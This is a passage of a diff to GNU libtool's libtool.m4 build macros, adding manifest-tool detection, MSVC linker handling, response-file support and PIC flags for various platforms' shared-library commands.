-@@ -3277,6 +3443,67 @@ dnl aclocal-1.4 backwards compatibility:
- dnl AC_DEFUN([AM_PROG_NM], [])
- dnl AC_DEFUN([AC_PROG_NM], [])
-
-+# _LT_CHECK_SHAREDLIB_FROM_LINKLIB
-+# --------------------------------
-+# how to determine the name of the shared library
-+# associated with a specific link library.
-+# -- PORTME fill in with the dynamic library characteristics
-+m4_defun([_LT_CHECK_SHAREDLIB_FROM_LINKLIB],
-+[m4_require([_LT_DECL_EGREP])
-+m4_require([_LT_DECL_OBJDUMP])
-+m4_require([_LT_DECL_DLLTOOL])
-+AC_CACHE_CHECK([how to associate runtime and link libraries],
-+lt_cv_sharedlib_from_linklib_cmd,
-+[lt_cv_sharedlib_from_linklib_cmd='unknown'
-+
-+case $host_os in
-+cygwin* | mingw* | pw32* | cegcc*)
-+ # two different shell functions defined in ltmain.sh
-+ # decide which to use based on capabilities of $DLLTOOL
-+ case `$DLLTOOL --help 2>&1` in
-+ *--identify-strict*)
-+ lt_cv_sharedlib_from_linklib_cmd=func_cygming_dll_for_implib
-+ ;;
-+ *)
-+ lt_cv_sharedlib_from_linklib_cmd=func_cygming_dll_for_implib_fallback
-+ ;;
-+ esac
-+ ;;
-+*)
-+ # fallback: assume linklib IS sharedlib
-+ lt_cv_sharedlib_from_linklib_cmd="$ECHO"
-+ ;;
-+esac
-+])
-+sharedlib_from_linklib_cmd=$lt_cv_sharedlib_from_linklib_cmd
-+test -z "$sharedlib_from_linklib_cmd" && sharedlib_from_linklib_cmd=$ECHO
-+
-+_LT_DECL([], [sharedlib_from_linklib_cmd], [1],
-+ [Command to associate shared and link libraries])
-+])# _LT_CHECK_SHAREDLIB_FROM_LINKLIB
-+
-+
-+# _LT_PATH_MANIFEST_TOOL
-+# ----------------------
-+# locate the manifest tool
-+m4_defun([_LT_PATH_MANIFEST_TOOL],
-+[AC_CHECK_TOOL(MANIFEST_TOOL, mt, :)
-+test -z "$MANIFEST_TOOL" && MANIFEST_TOOL=mt
-+AC_CACHE_CHECK([if $MANIFEST_TOOL is a manifest tool], [lt_cv_path_mainfest_tool],
-+ [lt_cv_path_mainfest_tool=no
-+ echo "$as_me:$LINENO: $MANIFEST_TOOL '-?'" >&AS_MESSAGE_LOG_FD
-+ $MANIFEST_TOOL '-?' 2>conftest.err > conftest.out
-+ cat conftest.err >&AS_MESSAGE_LOG_FD
-+ if $GREP 'Manifest Tool' conftest.out > /dev/null; then
-+ lt_cv_path_mainfest_tool=yes
-+ fi
-+ rm -f conftest*])
-+if test "x$lt_cv_path_mainfest_tool" != xyes; then
-+ MANIFEST_TOOL=:
-+fi
-+_LT_DECL([], [MANIFEST_TOOL], [1], [Manifest tool])dnl
-+])# _LT_PATH_MANIFEST_TOOL
-+
-
- # LT_LIB_M
- # --------
-@@ -3403,8 +3630,8 @@ esac
- lt_cv_sys_global_symbol_to_cdecl="sed -n -e 's/^T .* \(.*\)$/extern int \1();/p' -e 's/^$symcode* .* \(.*\)$/extern char \1;/p'"
-
- # Transform an extracted symbol line into symbol name and symbol address
--lt_cv_sys_global_symbol_to_c_name_address="sed -n -e 's/^: \([[^ ]]*\) $/ {\\\"\1\\\", (void *) 0},/p' -e 's/^$symcode* \([[^ ]]*\) \([[^ ]]*\)$/ {\"\2\", (void *) \&\2},/p'"
--lt_cv_sys_global_symbol_to_c_name_address_lib_prefix="sed -n -e 's/^: \([[^ ]]*\) $/ {\\\"\1\\\", (void *) 0},/p' -e 's/^$symcode* \([[^ ]]*\) \(lib[[^ ]]*\)$/ {\"\2\", (void *) \&\2},/p' -e 's/^$symcode* \([[^ ]]*\) \([[^ ]]*\)$/ {\"lib\2\", (void *) \&\2},/p'"
-+lt_cv_sys_global_symbol_to_c_name_address="sed -n -e 's/^: \([[^ ]]*\)[[ ]]*$/ {\\\"\1\\\", (void *) 0},/p' -e 's/^$symcode* \([[^ ]]*\) \([[^ ]]*\)$/ {\"\2\", (void *) \&\2},/p'"
-+lt_cv_sys_global_symbol_to_c_name_address_lib_prefix="sed -n -e 's/^: \([[^ ]]*\)[[ ]]*$/ {\\\"\1\\\", (void *) 0},/p' -e 's/^$symcode* \([[^ ]]*\) \(lib[[^ ]]*\)$/ {\"\2\", (void *) \&\2},/p' -e 's/^$symcode* \([[^ ]]*\) \([[^ ]]*\)$/ {\"lib\2\", (void *) \&\2},/p'"
-
- # Handle CRLF in mingw tool chain
- opt_cr=
-@@ -3440,6 +3667,7 @@ for ac_symprfx in "" "_"; do
- else
- lt_cv_sys_global_symbol_pipe="sed -n -e 's/^.*[[ ]]\($symcode$symcode*\)[[ ]][[ ]]*$ac_symprfx$sympat$opt_cr$/$symxfrm/p'"
- fi
-+ lt_cv_sys_global_symbol_pipe="$lt_cv_sys_global_symbol_pipe | sed '/ __gnu_lto/d'"
-
- # Check to see that the pipe works correctly.
- pipe_works=no
-@@ -3473,6 +3701,18 @@ _LT_EOF
- if $GREP ' nm_test_var$' "$nlist" >/dev/null; then
- if $GREP ' nm_test_func$' "$nlist" >/dev/null; then
- cat <<_LT_EOF > conftest.$ac_ext
-+/* Keep this code in sync between libtool.m4, ltmain, lt_system.h, and tests. */
-+#if defined(_WIN32) || defined(__CYGWIN__) || defined(_WIN32_WCE)
-+/* DATA imports from DLLs on WIN32 con't be const, because runtime
-+ relocations are performed -- see ld's documentation on pseudo-relocs. */
-+# define LT@&t@_DLSYM_CONST
-+#elif defined(__osf__)
-+/* This system does not cope well with relocations in const data. */
-+# define LT@&t@_DLSYM_CONST
-+#else
-+# define LT@&t@_DLSYM_CONST const
-+#endif
-+
- #ifdef __cplusplus
- extern "C" {
- #endif
-@@ -3484,7 +3724,7 @@ _LT_EOF
- cat <<_LT_EOF >> conftest.$ac_ext
-
- /* The mapping between symbol names and symbols. */
--const struct {
-+LT@&t@_DLSYM_CONST struct {
- const char *name;
- void *address;
- }
-@@ -3510,15 +3750,15 @@ static const void *lt_preloaded_setup() {
- _LT_EOF
- # Now try linking the two files.
- mv conftest.$ac_objext conftstm.$ac_objext
-- lt_save_LIBS="$LIBS"
-- lt_save_CFLAGS="$CFLAGS"
-+ lt_globsym_save_LIBS=$LIBS
-+ lt_globsym_save_CFLAGS=$CFLAGS
- LIBS="conftstm.$ac_objext"
- CFLAGS="$CFLAGS$_LT_TAGVAR(lt_prog_compiler_no_builtin_flag, $1)"
- if AC_TRY_EVAL(ac_link) && test -s conftest${ac_exeext}; then
- pipe_works=yes
- fi
-- LIBS="$lt_save_LIBS"
-- CFLAGS="$lt_save_CFLAGS"
-+ LIBS=$lt_globsym_save_LIBS
-+ CFLAGS=$lt_globsym_save_CFLAGS
- else
- echo "cannot find nm_test_func in $nlist" >&AS_MESSAGE_LOG_FD
- fi
-@@ -3551,6 +3791,13 @@ else
- AC_MSG_RESULT(ok)
- fi
-
-+# Response file support.
-+if test "$lt_cv_nm_interface" = "MS dumpbin"; then
-+ nm_file_list_spec='@'
-+elif $NM --help 2>/dev/null | grep '[[@]]FILE' >/dev/null; then
-+ nm_file_list_spec='@'
-+fi
-+
- _LT_DECL([global_symbol_pipe], [lt_cv_sys_global_symbol_pipe], [1],
- [Take the output of nm and produce a listing of raw symbols and C names])
- _LT_DECL([global_symbol_to_cdecl], [lt_cv_sys_global_symbol_to_cdecl], [1],
-@@ -3561,6 +3808,8 @@ _LT_DECL([global_symbol_to_c_name_address],
- _LT_DECL([global_symbol_to_c_name_address_lib_prefix],
- [lt_cv_sys_global_symbol_to_c_name_address_lib_prefix], [1],
- [Transform the output of nm in a C name address pair when lib prefix is needed])
-+_LT_DECL([], [nm_file_list_spec], [1],
-+ [Specify filename containing input files for $NM])
- ]) # _LT_CMD_GLOBAL_SYMBOLS
-
-
-@@ -3572,7 +3821,6 @@ _LT_TAGVAR(lt_prog_compiler_wl, $1)=
- _LT_TAGVAR(lt_prog_compiler_pic, $1)=
- _LT_TAGVAR(lt_prog_compiler_static, $1)=
-
--AC_MSG_CHECKING([for $compiler option to produce PIC])
- m4_if([$1], [CXX], [
- # C++ specific cases for pic, static, wl, etc.
- if test "$GXX" = yes; then
-@@ -3678,6 +3926,12 @@ m4_if([$1], [CXX], [
- ;;
- esac
- ;;
-+ mingw* | cygwin* | os2* | pw32* | cegcc*)
-+ # This hack is so that the source file can tell whether it is being
-+ # built for inclusion in a dll (and should export symbols for example).
-+ m4_if([$1], [GCJ], [],
-+ [_LT_TAGVAR(lt_prog_compiler_pic, $1)='-DDLL_EXPORT'])
-+ ;;
- dgux*)
- case $cc_basename in
- ec++*)
-@@ -3830,7 +4084,7 @@ m4_if([$1], [CXX], [
- ;;
- solaris*)
- case $cc_basename in
-- CC*)
-+ CC* | sunCC*)
- # Sun C++ 4.2, 5.x and Centerline C++
- _LT_TAGVAR(lt_prog_compiler_pic, $1)='-KPIC'
- _LT_TAGVAR(lt_prog_compiler_static, $1)='-Bstatic'
-@@ -4053,6 +4307,12 @@ m4_if([$1], [CXX], [
- _LT_TAGVAR(lt_prog_compiler_pic, $1)='--shared'
- _LT_TAGVAR(lt_prog_compiler_static, $1)='--static'
- ;;
-+ nagfor*)
-+ # NAG Fortran compiler
-+ _LT_TAGVAR(lt_prog_compiler_wl, $1)='-Wl,-Wl,,'
-+ _LT_TAGVAR(lt_prog_compiler_pic, $1)='-PIC'
-+ _LT_TAGVAR(lt_prog_compiler_static, $1)='-Bstatic'
-+ ;;
- pgcc* | pgf77* | pgf90* | pgf95* | pgfortran*)
- # Portland Group compilers (*not* the Pentium gcc compiler,
- # which looks to be a dead project)
-@@ -4115,7 +4375,7 @@ m4_if([$1], [CXX], [
- _LT_TAGVAR(lt_prog_compiler_pic, $1)='-KPIC'
- _LT_TAGVAR(lt_prog_compiler_static, $1)='-Bstatic'
- case $cc_basename in
-- f77* | f90* | f95*)
-+ f77* | f90* | f95* | sunf77* | sunf90* | sunf95*)
- _LT_TAGVAR(lt_prog_compiler_wl, $1)='-Qoption ld ';;
- *)
- _LT_TAGVAR(lt_prog_compiler_wl, $1)='-Wl,';;
-@@ -4172,9 +4432,11 @@ case $host_os in
- _LT_TAGVAR(lt_prog_compiler_pic, $1)="$_LT_TAGVAR(lt_prog_compiler_pic, $1)@&t@m4_if([$1],[],[ -DPIC],[m4_if([$1],[CXX],[ -DPIC],[])])"
- ;;
- esac
--AC_MSG_RESULT([$_LT_TAGVAR(lt_prog_compiler_pic, $1)])
--_LT_TAGDECL([wl], [lt_prog_compiler_wl], [1],
-- [How to pass a linker flag through the compiler])
-+
-+AC_CACHE_CHECK([for $compiler option to produce PIC],
-+ [_LT_TAGVAR(lt_cv_prog_compiler_pic, $1)],
-+ [_LT_TAGVAR(lt_cv_prog_compiler_pic, $1)=$_LT_TAGVAR(lt_prog_compiler_pic, $1)])
-+_LT_TAGVAR(lt_prog_compiler_pic, $1)=$_LT_TAGVAR(lt_cv_prog_compiler_pic, $1)
-
- #
- # Check to make sure the PIC flag actually works.
-@@ -4193,6 +4455,8 @@ fi
- _LT_TAGDECL([pic_flag], [lt_prog_compiler_pic], [1],
- [Additional compiler flags for building library objects])
-
-+_LT_TAGDECL([wl], [lt_prog_compiler_wl], [1],
-+ [How to pass a linker flag through the compiler])
- #
- # Check to make sure the static flag actually works.
- #
-@@ -4213,6 +4477,7 @@ _LT_TAGDECL([link_static_flag], [lt_prog_compiler_static], [1],
- m4_defun([_LT_LINKER_SHLIBS],
- [AC_REQUIRE([LT_PATH_LD])dnl
- AC_REQUIRE([LT_PATH_NM])dnl
-+m4_require([_LT_PATH_MANIFEST_TOOL])dnl
- m4_require([_LT_FILEUTILS_DEFAULTS])dnl
- m4_require([_LT_DECL_EGREP])dnl
- m4_require([_LT_DECL_SED])dnl
-@@ -4221,6 +4486,7 @@ m4_require([_LT_TAG_COMPILER])dnl
- AC_MSG_CHECKING([whether the $compiler linker ($LD) supports shared libraries])
- m4_if([$1], [CXX], [
- _LT_TAGVAR(export_symbols_cmds, $1)='$NM $libobjs $convenience | $global_symbol_pipe | $SED '\''s/.* //'\'' | sort | uniq > $export_symbols'
-+ _LT_TAGVAR(exclude_expsyms, $1)=['_GLOBAL_OFFSET_TABLE_|_GLOBAL__F[ID]_.*']
- case $host_os in
- aix[[4-9]]*)
- # If we're using GNU nm, then we don't want the "-C" option.
-@@ -4235,15 +4501,20 @@ m4_if([$1], [CXX], [
- ;;
- pw32*)
- _LT_TAGVAR(export_symbols_cmds, $1)="$ltdll_cmds"
-- ;;
-+ ;;
- cygwin* | mingw* | cegcc*)
-- _LT_TAGVAR(export_symbols_cmds, $1)='$NM $libobjs $convenience | $global_symbol_pipe | $SED -e '\''/^[[BCDGRS]][[ ]]/s/.*[[ ]]\([[^ ]]*\)/\1 DATA/;/^.*[[ ]]__nm__/s/^.*[[ ]]__nm__\([[^ ]]*\)[[ ]][[^ ]]*/\1 DATA/;/^I[[ ]]/d;/^[[AITW]][[ ]]/s/.* //'\'' | sort | uniq > $export_symbols'
-- ;;
-+ case $cc_basename in
-+ cl*) ;;
-+ *)
-+ _LT_TAGVAR(export_symbols_cmds, $1)='$NM $libobjs $convenience | $global_symbol_pipe | $SED -e '\''/^[[BCDGRS]][[ ]]/s/.*[[ ]]\([[^ ]]*\)/\1 DATA/;s/^.*[[ ]]__nm__\([[^ ]]*\)[[ ]][[^ ]]*/\1 DATA/;/^I[[ ]]/d;/^[[AITW]][[ ]]/s/.* //'\'' | sort | uniq > $export_symbols'
-+ _LT_TAGVAR(exclude_expsyms, $1)=['[_]+GLOBAL_OFFSET_TABLE_|[_]+GLOBAL__[FID]_.*|[_]+head_[A-Za-z0-9_]+_dll|[A-Za-z0-9_]+_dll_iname']
-+ ;;
-+ esac
-+ ;;
- *)
- _LT_TAGVAR(export_symbols_cmds, $1)='$NM $libobjs $convenience | $global_symbol_pipe | $SED '\''s/.* //'\'' | sort | uniq > $export_symbols'
-- ;;
-+ ;;
- esac
-- _LT_TAGVAR(exclude_expsyms, $1)=['_GLOBAL_OFFSET_TABLE_|_GLOBAL__F[ID]_.*']
- ], [
- runpath_var=
- _LT_TAGVAR(allow_undefined_flag, $1)=
-@@ -4411,7 +4682,8 @@ _LT_EOF
- _LT_TAGVAR(allow_undefined_flag, $1)=unsupported
- _LT_TAGVAR(always_export_symbols, $1)=no
- _LT_TAGVAR(enable_shared_with_static_runtimes, $1)=yes
-- _LT_TAGVAR(export_symbols_cmds, $1)='$NM $libobjs $convenience | $global_symbol_pipe | $SED -e '\''/^[[BCDGRS]][[ ]]/s/.*[[ ]]\([[^ ]]*\)/\1 DATA/'\'' | $SED -e '\''/^[[AITW]][[ ]]/s/.*[[ ]]//'\'' | sort | uniq > $export_symbols'
-+ _LT_TAGVAR(export_symbols_cmds, $1)='$NM $libobjs $convenience | $global_symbol_pipe | $SED -e '\''/^[[BCDGRS]][[ ]]/s/.*[[ ]]\([[^ ]]*\)/\1 DATA/;s/^.*[[ ]]__nm__\([[^ ]]*\)[[ ]][[^ ]]*/\1 DATA/;/^I[[ ]]/d;/^[[AITW]][[ ]]/s/.* //'\'' | sort | uniq > $export_symbols'
-+ _LT_TAGVAR(exclude_expsyms, $1)=['[_]+GLOBAL_OFFSET_TABLE_|[_]+GLOBAL__[FID]_.*|[_]+head_[A-Za-z0-9_]+_dll|[A-Za-z0-9_]+_dll_iname']
-
- if $LD --help 2>&1 | $GREP 'auto-import' > /dev/null; then
- _LT_TAGVAR(archive_cmds, $1)='$CC -shared $libobjs $deplibs $compiler_flags -o $output_objdir/$soname ${wl}--enable-auto-image-base -Xlinker --out-implib -Xlinker $lib'
-@@ -4510,12 +4782,12 @@ _LT_EOF
- _LT_TAGVAR(whole_archive_flag_spec, $1)='--whole-archive$convenience --no-whole-archive'
- _LT_TAGVAR(hardcode_libdir_flag_spec, $1)=
- _LT_TAGVAR(hardcode_libdir_flag_spec_ld, $1)='-rpath $libdir'
-- _LT_TAGVAR(archive_cmds, $1)='$LD -shared $libobjs $deplibs $compiler_flags -soname $soname -o $lib'
-+ _LT_TAGVAR(archive_cmds, $1)='$LD -shared $libobjs $deplibs $linker_flags -soname $soname -o $lib'
- if test "x$supports_anon_versioning" = xyes; then
- _LT_TAGVAR(archive_expsym_cmds, $1)='echo "{ global:" > $output_objdir/$libname.ver~
- cat $export_symbols | sed -e "s/\(.*\)/\1;/" >> $output_objdir/$libname.ver~
- echo "local: *; };" >> $output_objdir/$libname.ver~
-- $LD -shared $libobjs $deplibs $compiler_flags -soname $soname -version-script $output_objdir/$libname.ver -o $lib'
-+ $LD -shared $libobjs $deplibs $linker_flags -soname $soname -version-script $output_objdir/$libname.ver -o $lib'
- fi
- ;;
- esac
-@@ -4529,8 +4801,8 @@ _LT_EOF
- _LT_TAGVAR(archive_cmds, $1)='$LD -Bshareable $libobjs $deplibs $linker_flags -o $lib'
- wlarc=
- else
-- _LT_TAGVAR(archive_cmds, $1)='$CC -shared $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname -o $lib'
-- _LT_TAGVAR(archive_expsym_cmds, $1)='$CC -shared $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname ${wl}-retain-symbols-file $wl$export_symbols -o $lib'
-+ _LT_TAGVAR(archive_cmds, $1)='$CC -shared $pic_flag $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname -o $lib'
-+ _LT_TAGVAR(archive_expsym_cmds, $1)='$CC -shared $pic_flag $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname ${wl}-retain-symbols-file $wl$export_symbols -o $lib'
- fi
- ;;
-
-@@ -4548,8 +4820,8 @@ _LT_EOF
-
- _LT_EOF
- elif $LD --help 2>&1 | $GREP ': supported targets:.* elf' > /dev/null; then
-- _LT_TAGVAR(archive_cmds, $1)='$CC -shared $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname -o $lib'
-- _LT_TAGVAR(archive_expsym_cmds, $1)='$CC -shared $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname ${wl}-retain-symbols-file $wl$export_symbols -o $lib'
-+ _LT_TAGVAR(archive_cmds, $1)='$CC -shared $pic_flag $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname -o $lib'
-+ _LT_TAGVAR(archive_expsym_cmds, $1)='$CC -shared $pic_flag $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname ${wl}-retain-symbols-file $wl$export_symbols -o $lib'
- else
- _LT_TAGVAR(ld_shlibs, $1)=no
- fi
-@@ -4595,8 +4867,8 @@ _LT_EOF
-
- *)
- if $LD --help 2>&1 | $GREP ': supported targets:.* elf' > /dev/null; then
-- _LT_TAGVAR(archive_cmds, $1)='$CC -shared $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname -o $lib'
-- _LT_TAGVAR(archive_expsym_cmds, $1)='$CC -shared $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname ${wl}-retain-symbols-file $wl$export_symbols -o $lib'
-+ _LT_TAGVAR(archive_cmds, $1)='$CC -shared $pic_flag $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname -o $lib'
-+ _LT_TAGVAR(archive_expsym_cmds, $1)='$CC -shared $pic_flag $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname ${wl}-retain-symbols-file $wl$export_symbols -o $lib'
- else
- _LT_TAGVAR(ld_shlibs, $1)=no
- fi
-@@ -4726,7 +4998,7 @@ _LT_EOF
- _LT_TAGVAR(allow_undefined_flag, $1)='-berok'
- # Determine the default libpath from the value encoded in an
- # empty executable.
-- _LT_SYS_MODULE_PATH_AIX
-+ _LT_SYS_MODULE_PATH_AIX([$1])
- _LT_TAGVAR(hardcode_libdir_flag_spec, $1)='${wl}-blibpath:$libdir:'"$aix_libpath"
- _LT_TAGVAR(archive_expsym_cmds, $1)='$CC -o $output_objdir/$soname $libobjs $deplibs '"\${wl}$no_entry_flag"' $compiler_flags `if test "x${allow_undefined_flag}" != "x"; then func_echo_all "${wl}${allow_undefined_flag}"; else :; fi` '"\${wl}$exp_sym_flag:\$export_symbols $shared_flag"
- else
-@@ -4737,7 +5009,7 @@ _LT_EOF
- else
- # Determine the default libpath from the value encoded in an
- # empty executable.
-- _LT_SYS_MODULE_PATH_AIX
-+ _LT_SYS_MODULE_PATH_AIX([$1])
- _LT_TAGVAR(hardcode_libdir_flag_spec, $1)='${wl}-blibpath:$libdir:'"$aix_libpath"
- # Warning - without using the other run time loading flags,
- # -berok will link without error, but may produce a broken library.
-@@ -4781,20 +5053,63 @@ _LT_EOF
- # Microsoft Visual C++.
- # hardcode_libdir_flag_spec is actually meaningless, as there is
- # no search path for DLLs.
-- _LT_TAGVAR(hardcode_libdir_flag_spec, $1)=' '
-- _LT_TAGVAR(allow_undefined_flag, $1)=unsupported
-- # Tell ltmain to make .lib files, not .a files.
-- libext=lib
-- # Tell ltmain to make .dll files, not .so files.
-- shrext_cmds=".dll"
-- # FIXME: Setting linknames here is a bad hack.
-- _LT_TAGVAR(archive_cmds, $1)='$CC -o $lib $libobjs $compiler_flags `func_echo_all "$deplibs" | $SED '\''s/ -lc$//'\''` -link -dll~linknames='
-- # The linker will automatically build a .lib file if we build a DLL.
-- _LT_TAGVAR(old_archive_from_new_cmds, $1)='true'
-- # FIXME: Should let the user specify the lib program.
-- _LT_TAGVAR(old_archive_cmds, $1)='lib -OUT:$oldlib$oldobjs$old_deplibs'
-- _LT_TAGVAR(fix_srcfile_path, $1)='`cygpath -w "$srcfile"`'
-- _LT_TAGVAR(enable_shared_with_static_runtimes, $1)=yes
-+ case $cc_basename in
-+ cl*)
-+ # Native MSVC
-+ _LT_TAGVAR(hardcode_libdir_flag_spec, $1)=' '
-+ _LT_TAGVAR(allow_undefined_flag, $1)=unsupported
-+ _LT_TAGVAR(always_export_symbols, $1)=yes
-+ _LT_TAGVAR(file_list_spec, $1)='@'
-+ # Tell ltmain to make .lib files, not .a files.
-+ libext=lib
-+ # Tell ltmain to make .dll files, not .so files.
-+ shrext_cmds=".dll"
-+ # FIXME: Setting linknames here is a bad hack.
-+ _LT_TAGVAR(archive_cmds, $1)='$CC -o $output_objdir/$soname $libobjs $compiler_flags $deplibs -Wl,-dll~linknames='
-+ _LT_TAGVAR(archive_expsym_cmds, $1)='if test "x`$SED 1q $export_symbols`" = xEXPORTS; then
-+ sed -n -e 's/\\\\\\\(.*\\\\\\\)/-link\\\ -EXPORT:\\\\\\\1/' -e '1\\\!p' < $export_symbols > $output_objdir/$soname.exp;
-+ else
-+ sed -e 's/\\\\\\\(.*\\\\\\\)/-link\\\ -EXPORT:\\\\\\\1/' < $export_symbols > $output_objdir/$soname.exp;
-+ fi~
-+ $CC -o $tool_output_objdir$soname $libobjs $compiler_flags $deplibs "@$tool_output_objdir$soname.exp" -Wl,-DLL,-IMPLIB:"$tool_output_objdir$libname.dll.lib"~
-+ linknames='
-+ # The linker will not automatically build a static lib if we build a DLL.
-+ # _LT_TAGVAR(old_archive_from_new_cmds, $1)='true'
-+ _LT_TAGVAR(enable_shared_with_static_runtimes, $1)=yes
-+ _LT_TAGVAR(export_symbols_cmds, $1)='$NM $libobjs $convenience | $global_symbol_pipe | $SED -e '\''/^[[BCDGRS]][[ ]]/s/.*[[ ]]\([[^ ]]*\)/\1,DATA/'\'' | $SED -e '\''/^[[AITW]][[ ]]/s/.*[[ ]]//'\'' | sort | uniq > $export_symbols'
-+ # Don't use ranlib
-+ _LT_TAGVAR(old_postinstall_cmds, $1)='chmod 644 $oldlib'
-+ _LT_TAGVAR(postlink_cmds, $1)='lt_outputfile="@OUTPUT@"~
-+ lt_tool_outputfile="@TOOL_OUTPUT@"~
-+ case $lt_outputfile in
-+ *.exe|*.EXE) ;;
-+ *)
-+ lt_outputfile="$lt_outputfile.exe"
-+ lt_tool_outputfile="$lt_tool_outputfile.exe"
-+ ;;
-+ esac~
-+ if test "$MANIFEST_TOOL" != ":" && test -f "$lt_outputfile.manifest"; then
-+ $MANIFEST_TOOL -manifest "$lt_tool_outputfile.manifest" -outputresource:"$lt_tool_outputfile" || exit 1;
-+ $RM "$lt_outputfile.manifest";
-+ fi'
-+ ;;
-+ *)
-+ # Assume MSVC wrapper
-+ _LT_TAGVAR(hardcode_libdir_flag_spec, $1)=' '
-+ _LT_TAGVAR(allow_undefined_flag, $1)=unsupported
-+ # Tell ltmain to make .lib files, not .a files.
-+ libext=lib
-+ # Tell ltmain to make .dll files, not .so files.
-+ shrext_cmds=".dll"
-+ # FIXME: Setting linknames here is a bad hack.
-+ _LT_TAGVAR(archive_cmds, $1)='$CC -o $lib $libobjs $compiler_flags `func_echo_all "$deplibs" | $SED '\''s/ -lc$//'\''` -link -dll~linknames='
-+ # The linker will automatically build a .lib file if we build a DLL.
-+ _LT_TAGVAR(old_archive_from_new_cmds, $1)='true'
-+ # FIXME: Should let the user specify the lib program.
-+ _LT_TAGVAR(old_archive_cmds, $1)='lib -OUT:$oldlib$oldobjs$old_deplibs'
-+ _LT_TAGVAR(enable_shared_with_static_runtimes, $1)=yes
-+ ;;
-+ esac
- ;;
-
- darwin* | rhapsody*)
-@@ -4828,7 +5143,7 @@ _LT_EOF
-
- # FreeBSD 3 and greater uses gcc -shared to do shared libraries.
- freebsd* | dragonfly*)
-- _LT_TAGVAR(archive_cmds, $1)='$CC -shared -o $lib $libobjs $deplibs $compiler_flags'
-+ _LT_TAGVAR(archive_cmds, $1)='$CC -shared $pic_flag -o $lib $libobjs $deplibs $compiler_flags'
- _LT_TAGVAR(hardcode_libdir_flag_spec, $1)='-R$libdir'
- _LT_TAGVAR(hardcode_direct, $1)=yes
- _LT_TAGVAR(hardcode_shlibpath_var, $1)=no
-@@ -4836,7 +5151,7 @@ _LT_EOF
-
- hpux9*)
- if test "$GCC" = yes; then
-- _LT_TAGVAR(archive_cmds, $1)='$RM $output_objdir/$soname~$CC -shared -fPIC ${wl}+b ${wl}$install_libdir -o $output_objdir/$soname $libobjs $deplibs $compiler_flags~test $output_objdir/$soname = $lib || mv $output_objdir/$soname $lib'
-+ _LT_TAGVAR(archive_cmds, $1)='$RM $output_objdir/$soname~$CC -shared $pic_flag ${wl}+b ${wl}$install_libdir -o $output_objdir/$soname $libobjs $deplibs $compiler_flags~test $output_objdir/$soname = $lib || mv $output_objdir/$soname $lib'
- else
- _LT_TAGVAR(archive_cmds, $1)='$RM $output_objdir/$soname~$LD -b +b $install_libdir -o $output_objdir/$soname $libobjs $deplibs $linker_flags~test $output_objdir/$soname = $lib || mv $output_objdir/$soname $lib'
- fi
-@@ -4852,7 +5167,7 @@ _LT_EOF
-
- hpux10*)
- if test "$GCC" = yes && test "$with_gnu_ld" = no; then
-- _LT_TAGVAR(archive_cmds, $1)='$CC -shared -fPIC ${wl}+h ${wl}$soname ${wl}+b ${wl}$install_libdir -o $lib $libobjs $deplibs $compiler_flags'
-+ _LT_TAGVAR(archive_cmds, $1)='$CC -shared $pic_flag ${wl}+h ${wl}$soname ${wl}+b ${wl}$install_libdir -o $lib $libobjs $deplibs $compiler_flags'
- else
- _LT_TAGVAR(archive_cmds, $1)='$LD -b +h $soname +b $install_libdir -o $lib $libobjs $deplibs $linker_flags'
- fi
-@@ -4876,10 +5191,10 @@ _LT_EOF
- _LT_TAGVAR(archive_cmds, $1)='$CC -shared ${wl}+h ${wl}$soname -o $lib $libobjs $deplibs $compiler_flags'
- ;;
- ia64*)
-- _LT_TAGVAR(archive_cmds, $1)='$CC -shared -fPIC ${wl}+h ${wl}$soname ${wl}+nodefaultrpath -o $lib $libobjs $deplibs $compiler_flags'
-+ _LT_TAGVAR(archive_cmds, $1)='$CC -shared $pic_flag ${wl}+h ${wl}$soname ${wl}+nodefaultrpath -o $lib $libobjs $deplibs $compiler_flags'
- ;;
- *)
-- _LT_TAGVAR(archive_cmds, $1)='$CC -shared -fPIC ${wl}+h ${wl}$soname ${wl}+b ${wl}$install_libdir -o $lib $libobjs $deplibs $compiler_flags'
-+ _LT_TAGVAR(archive_cmds, $1)='$CC -shared $pic_flag ${wl}+h ${wl}$soname ${wl}+b ${wl}$install_libdir -o $lib $libobjs $deplibs $compiler_flags'
- ;;
- esac
- else
-@@ -4926,16 +5241,31 @@ _LT_EOF
-
- irix5* | irix6* | nonstopux*)
- if test "$GCC" = yes; then
-- _LT_TAGVAR(archive_cmds, $1)='$CC -shared $libobjs $deplibs $compiler_flags ${wl}-soname ${wl}$soname `test -n "$verstring" && func_echo_all "${wl}-set_version ${wl}$verstring"` ${wl}-update_registry ${wl}${output_objdir}/so_locations -o $lib'
-+ _LT_TAGVAR(archive_cmds, $1)='$CC -shared $pic_flag $libobjs $deplibs $compiler_flags ${wl}-soname ${wl}$soname `test -n "$verstring" && func_echo_all "${wl}-set_version ${wl}$verstring"` ${wl}-update_registry ${wl}${output_objdir}/so_locations -o $lib'
- # Try to use the -exported_symbol ld option, if it does not
- # work, assume that -exports_file does not work either and
- # implicitly export all symbols.
-- save_LDFLAGS="$LDFLAGS"
-- LDFLAGS="$LDFLAGS -shared ${wl}-exported_symbol ${wl}foo ${wl}-update_registry ${wl}/dev/null"
-- AC_LINK_IFELSE([AC_LANG_SOURCE([int foo(void) {}])],
-- _LT_TAGVAR(archive_expsym_cmds, $1)='$CC -shared $libobjs $deplibs $compiler_flags ${wl}-soname ${wl}$soname `test -n "$verstring" && func_echo_all "${wl}-set_version ${wl}$verstring"` ${wl}-update_registry ${wl}${output_objdir}/so_locations ${wl}-exports_file ${wl}$export_symbols -o $lib'
-- )
-- LDFLAGS="$save_LDFLAGS"
-+ # This should be the same for all languages, so no per-tag cache variable.
-+ AC_CACHE_CHECK([whether the $host_os linker accepts -exported_symbol],
-+ [lt_cv_irix_exported_symbol],
-+ [save_LDFLAGS="$LDFLAGS"
